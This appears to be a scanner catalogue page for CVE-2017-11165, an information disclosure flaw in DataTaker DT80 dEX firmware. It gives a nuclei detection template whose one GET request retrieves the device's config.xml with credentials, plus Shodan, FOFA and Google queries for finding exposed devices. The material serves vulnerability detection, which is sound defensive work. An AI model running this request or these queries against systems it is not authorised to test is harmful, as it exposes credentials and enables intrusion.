DataTaker DT80 dEX 1.50.012 - Information Disclosure

criticalseverity

9.8CVSS score

63.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive data, potentially compromising the confidentiality of the system.

Fix

Apply the latest firmware update provided by the vendor to mitigate the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/services/getFile.cmd?userfile=config.xml
Positive when: contains "COMMAND_SERVER" and "<loggerSettings>" and "config id=\"config" AND contains in header "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2017-11165 -u <target>

The full check

id: CVE-2017-11165

info:
  name: DataTaker DT80 dEX 1.50.012 - Information Disclosure
  author: theabhinavgaur
  severity: critical
  description: |
    DataTaker DT80 dEX 1.50.012 is susceptible to information disclosure. A remote attacker can obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI, thereby possibly accessing sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive data, potentially compromising the confidentiality of the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate the information disclosure vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45094
    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
    - https://www.exploit-db.com/exploits/42313/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-11165
    cwe-id: CWE-200
    epss-score: 0.63883
    epss-percentile: 0.99228
    cpe: cpe:2.3:o:datataker:dt80_dex_firmware:1.50.012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: datataker
    product: dt80_dex_firmware
    shodan-query: http.title:"datataker"
    fofa-query: title="datataker"
    google-query: intitle:"datataker"
  tags: cve2017,cve,lfr,edb,datataker,config,packetstorm,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "COMMAND_SERVER"
          - "<loggerSettings>"
          - "config id=\"config"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from